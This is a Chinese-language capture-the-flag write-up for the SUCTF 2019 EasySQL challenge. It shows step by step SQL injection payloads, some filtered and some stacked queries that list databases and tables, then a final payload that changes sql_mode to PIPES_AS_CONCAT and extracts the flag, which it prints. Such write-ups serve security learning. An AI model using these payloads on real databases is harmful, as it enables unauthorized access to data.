[SUCTF 2019]EasySQL

题目链接

考点分析

本题考查sql注入相关知识

知识链接

我的上一篇博文

解题步骤

(1) 寻找注入点

首先判断注入参数类型(字符型,数字型)
输入 1' 无报错无回显
输入 1 及任意数字均有回显
(1) => 判断注入类型为数字型
(2) => 判断无法报错注入

(2)尝试注入

发现题目过滤许多关键字 如: union,prepare,handler
试用联合查询 1 order by 2 #
返回

Nonono.

试用布尔盲注1 and length(database())>=1#
返回

Nonono.

试用时间盲注1 and if(length(database())>=1,1,sleep(5))#
返回

Nonono.
但是可以 堆叠注入 一着不慎 全盘皆输

(3) 爆数据库

输入 1;show databases;#
返回

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

(4) 爆表

输入 1;show tables;#
返回

Array ( [0] => 1 ) Array ( [0] => Flag )

(5) 决胜时刻

看到Flag近在眼前心中一片窃喜,可是该如何取出它呢?
前面提到许多关键字被过滤,无法使用1;select * from Flag;#查询
在一番尝试后最终未能解出前功尽弃啊~
查阅大佬wp发现比赛时泄露了源码 啊这

select $_GET['query'] || flag from flag

晕,这谁想得到?
于是思路来了:
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能
最终payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
返回

Array ( [0] => 1 ) Array ( [0] => 1flag{3566fcfb-f828-4f84-840f-461d2750e6ed} )

大功告成

你可能感兴趣的:(CTF,数据库,mysql,web安全)